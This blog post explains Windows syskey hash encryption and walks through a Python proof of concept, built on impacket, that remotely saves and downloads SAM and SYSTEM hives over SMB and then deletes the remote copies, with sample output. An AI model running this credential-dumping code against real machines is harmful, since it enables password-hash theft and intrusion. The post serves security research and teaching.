So after my last article, in which I describe an alternative way to execute code on a remote machine if you have the local administrator’s password, I kept wondering what else could be done with the remote registry? The first thing I immediately thought of was dumping the windows hashes. The reason I thought of this was because it would have several advantages:
- You would not need to bypass anti virus
- You would not need to worry about uploading executable files
- You would not need to worry about spawning new processes on the remote machine
- You would only need one open port
Since I dislike reinventing the wheel (unless it’s for educational purposes) I started to first search around and see what current methods are available. As far as I can tell they all boil down to the following:
- Use psexec to dump hashes by
- Spawning a new process and running reg.exe
- Uploading your own executable and running it
- Use WMI to spawn a new process and run reg.exe
- Use Windows tools
- regedit.exe / reg.exe
- Third party (WinScanX)
If you are not interested in my first failed attempt, the learned things you can skip directly to the script on GitHub as usual. Keep reading if you want to know the details. In case you are wondering: Yes I used impacket, it rocks.
Windows hash encryption
First things first how the hell does the dumping of Windows hashes actually work? Here is my attempt at explaining it in a nutshell, a reference to a full description can be found at the end of this post.
Back in the days Microsoft decided that hashing the passwords wasn’t enough so they implemented an additional encryption layer to protect the hashes. They chose to encrypt the hashes with RC4 which creates a new problem of course. Where do you get the key for the encryption? They thought of three options:
- Randomly generate the key and store it in the registry (default)
- Randomly generate the key, store it in the registry and protect it with an additional password
- Randomly generate the key and store it on a floppy disk
The method most widely used nowadays (like you probably guessed) is the first one. The initial bootkey is stored obfuscated in the registry at the following locations:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\JD HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Skew1 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Data HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\GBG
Ones that is gathered the rest of the process is executed which is described best by the original author who described the process:
1) The value 'F' of the registry key SAM\SAM\Domains\Account is accessed. The contents of that value is of binary type. 16 byte (starting at offset 0x70) from the F value are hashed (MD5) with the bootkey and some constant. The result is used as the key to decrypt (RC4) the 32 byte of the F value (starting from 0x80). The first 16 byte of the result are used later in the algorithm. I call them hbootkey. 2) For each rid subkey in SAM\SAM\Domains\Account\Users. The value 'V' of the key is accessed. The content of that value is of binary type and contain the syskey encrypted password hashes. The hbootkey (computed in step 1), the user rid and a constant string( different if decoding NT or lanman password) are hashed (MD5). The result is used as the key to decrypt (RC4) the syskeyed password hashes. So syskey encrypts the password hashes with the RC4 algorithm using as key "something" derived (through MD5) from the syskey bootkey.
That describes it pretty clear don’t you think? If you prefer to understand algorithms by reading code I’d recommend to have a look at creddump, specifically the hashdump.py file. Armed with this information and a confirmation from the creddump source I started to implement my own remote hash dumper.
I’ve said it before and I’ll say it again (even though I don’t learn) “Assumption is the mother of all ***”. After reading the description of the syskey algorithm and having a quick glance at the creddump source I started to create the first POC. So I fired up regedit.exe and connected to a remote registry, then I went to the keys which contained the needed information. First thing I had to do was change the rights on the SAM key to make sure the Administrator had read rights. After doing this and refreshing regedit.exe with F5 I could see the keys. Due to my lazyness the first thing I tried was to export the keys as hive files. This failed miserably, I was not able to save them on my desktop ( I later realised why). So I did the next best thing I exported them as REG files. It all looked pretty good, so I started coding and made this function for myself to parse out values from a reg file, which I would need later to calculate the correct decryption keys:
import codecs def get_parametervaluefromkey(regfile, keyname, parametername): lkeyname = '[' + keyname + ']' if parametername != '@': lparametername = '"' + parametername + '"=' else: lparametername = parametername start_paramblock = False start_param = False foundparam = list() with codecs.open(regfile, encoding='utf-16') as f: for line in f.readlines(): line = line.strip() if line.startswith('['): start_paramblock = False if line == lkeyname: start_paramblock = True continue if start_paramblock: if line.startswith(lparametername): start_param = True foundparam.append(line) continue if not line.startswith('"'): foundparam.append(line) else: start_param = False return foundparam
Which you can use like this:
get_parametervaluefromkey(systemfile, r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1", "SkewMatrix")
That all went great until I wanted to actually calculate the bootkey. If I had read the algorithm description more carefully AND if I hadn’t assumed things when reading the creddump source I would have realized that when it states that:
A more in depth analysis of the code accessing these keys uncover that the "complex obfuscation algorithm" is no more than a permutation of the class name of the above-mentioned keys.
It really means CLASS NAME and not VALUES. This information is lost when you export keys in the reg format, if you export them as text however you DO get that information. Unfortunately the formats are miles apart:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1] "SkewMatrix"=hex:54,a1,24,08,3e,1b,f7,cc,fe,3d,bb,63,e1,6f,06,59
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1 Class Name: 6fa7b736 Last Write Time: 10/15/2013 - 7:08 AM Value 0 Name: SkewMatrix Type: REG_BINARY Data: 00000000 54 a1 24 08 3e 1b f7 cc - fe 3d bb 63 e1 6f 06 59 T¡$.>.÷Ìþ=»cáo.Y
Well that was a bummer, not really an easy way to reuse my already written code. So I started to play around with regedit.exe which is when I realized why I couldn’t save the keys as hive files before. The function used by regedit.exe is RegSaveKey which doesn’t return the data but saves it itself to a specified path. Which isn’t entirely bad since I assume (see: I don’t learn) that if you specify a UNC path to a share it would happily safe the file there. You’ll probably just need to make sure the machine is able to login to the specified share.
More or less at the same time I stumbled upon the excellent article on exporting the registry by HD Moore. In this article WinScanX is explained which is able to dump hashes remotely as follow:
Since imitation is the sincerest form of flattery, I looked into how WinScanX implemented the registry hive export. Using the Remote Registry service over SMB/DCERPC, WinScanX calls the Save function, instructing the service to write an exported copy of the hive to the file system. WinScanX then downloads the hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data, but newer versions of Windows disable the Remote Registry service by default, requiring the user to first enable it, then dump the hive, then disable it again. I would not be surprised if future versions of WinScanX implement this method.
In my testlab I didn’t need to enable the remote registry it seemed to have been enabled by Windows when I enabled File & Printer Sharing. The downside is that it’s a Windows tools and I prefer to do this stuff from a Linux machine. So at this point I decided to see how hard it would be to create a quick POC for this using impacket.
Seeing how it all had gone until now I assumed the worst, however I seemed to be lucky. Impacket already has an implementation for the RegSaveKey function. This made it mostly a copy/paste process from my previous post to get it working. All it took was the following lines of code using impacket:
s = getloginsession(victim, domain, username, password) registryconnection = getregistryconnection(s, victim) hklm_open = registryconnection.openHKLM() hklm_open_chandle = hklm_open.get_context_handle() hklm_keyopen_sam = registryconnection.regOpenKey(hklm_open_chandle, "SAM", winreg.KEY_ALL_ACCESS) hklm_keyopen_system = registryconnection.regOpenKey(hklm_open_chandle, "SYSTEM", winreg.KEY_ALL_ACCESS) hklm_keyopen_sam_chandle = hklm_keyopen_sam.get_context_handle() hklm_keyopen_system_chandle = hklm_keyopen_system.get_context_handle() registryconnection.regSaveKey(hklm_keyopen_sam_chandle,remote_samsavename) registryconnection.regSaveKey(hklm_keyopen_system_chandle,remote_systemsavename) logout(_dcerpctransport) #get the sam s.getFile('C$', samfile, savefile_callback) s.deleteFile('C$',samfile) os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_samsavename) print "[*] saved sam %s" % _localdumplocation+remote_samsavename #get the system s.getFile('C$', systemfile, savefile_callback) s.deleteFile('C$',systemfile) os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_systemsavename) print "[*] saved system %s" % _localdumplocation+remote_systemsavename logout(s)
So now we are able to dump Windows hashes from Linux remotely without the need to start processes or upload executable files and all this through a single port. It looks like this:
python reg2hash.py -t file:t.txt -u Administrator -p P@55word -l ../../j/dumped/
[*] targets 2
[*] domain None
[*] username Administrator
[*] password P@55word
[*] accessing 10.50.0.117
[*] saved sam ../../j/dumped/10.50.0.117.s
[*] saved system ../../j/dumped/10.50.0.117.y
[*] accessing 10.50.0.116
[*] saved sam ../../j/dumped/10.50.0.116.s
[*] saved system ../../j/dumped/10.50.0.116.y
You can find the full source on my GitHub, feel free to comment if you suggestions, improvements or just plain old rants. Don’t forget that this is just a quick POC, thus me being lazy and not implementing error checking.
- Describes the Windows syskey algorithm
- Original syskey algorithm description & tools
- Just the syskey algorithm description
- System key technical description
- (old) reg file format description
- creddump implementation of hash dumping
- Desribes the reg save and winscanx method
- Uses WMI and Volume Shadow Copy
- Uses psexec running the reg save command remotely